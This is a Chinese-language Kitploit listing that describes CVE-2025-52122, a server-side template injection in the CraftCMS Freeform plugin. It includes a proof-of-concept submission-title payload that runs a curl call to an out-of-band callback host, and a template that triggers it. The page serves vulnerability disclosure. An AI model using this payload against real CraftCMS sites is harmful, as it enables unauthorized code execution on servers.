Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-52122 — CraftCMS Freeform 5.0.0 < 5.10.16 中的任意代码注入 | Kitploit
工具/GitHubGitHub/timtrademark/cve-2025-52122
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubtimtrademark/cve-2025-52122

CVE-2025-52122

CraftCMS Freeform 5.0.0 < 5.10.16 中的任意代码注入

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE CraftCMS Freeform

CraftCMS Freeform 包含一个 SSTI 漏洞,导致所有有权编辑表单(提交标题)的用户可执行任意代码注入。

受影响版本为 v5.0.0 < v5.10.16。

复现步骤

创建一个表单:

创建一个表单

我在此创建了名为“pentest”的表单作为概念验证。接下来,在设置中配置以下提交标题(将域名更改为你自己的服务器):

root@kitploit:~
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

提交标题

这将执行任意系统调用。在此示例中,我执行了一个 curl 请求到受控服务器,该服务器会在收到传入连接时通知我。

接下来,将此表单包含在模板/页面中并提交:

root@kitploit:~
<h1>test</h1>
{% set form = freeform.form('pentest') %}

{% if form %}
  {{ form.render() }}
{% else %}
  <p>Form not found.</p>
{% endif %}

这样就会调用 curl 命令。我们可以通过查看创建的传入 HTTP 请求来验证:

传入连接

此问题的根本原因是 Freeform 在实现“call”Twig 过滤器时未对用户输入进行验证。该问题已在以下提交中修复。

下载工具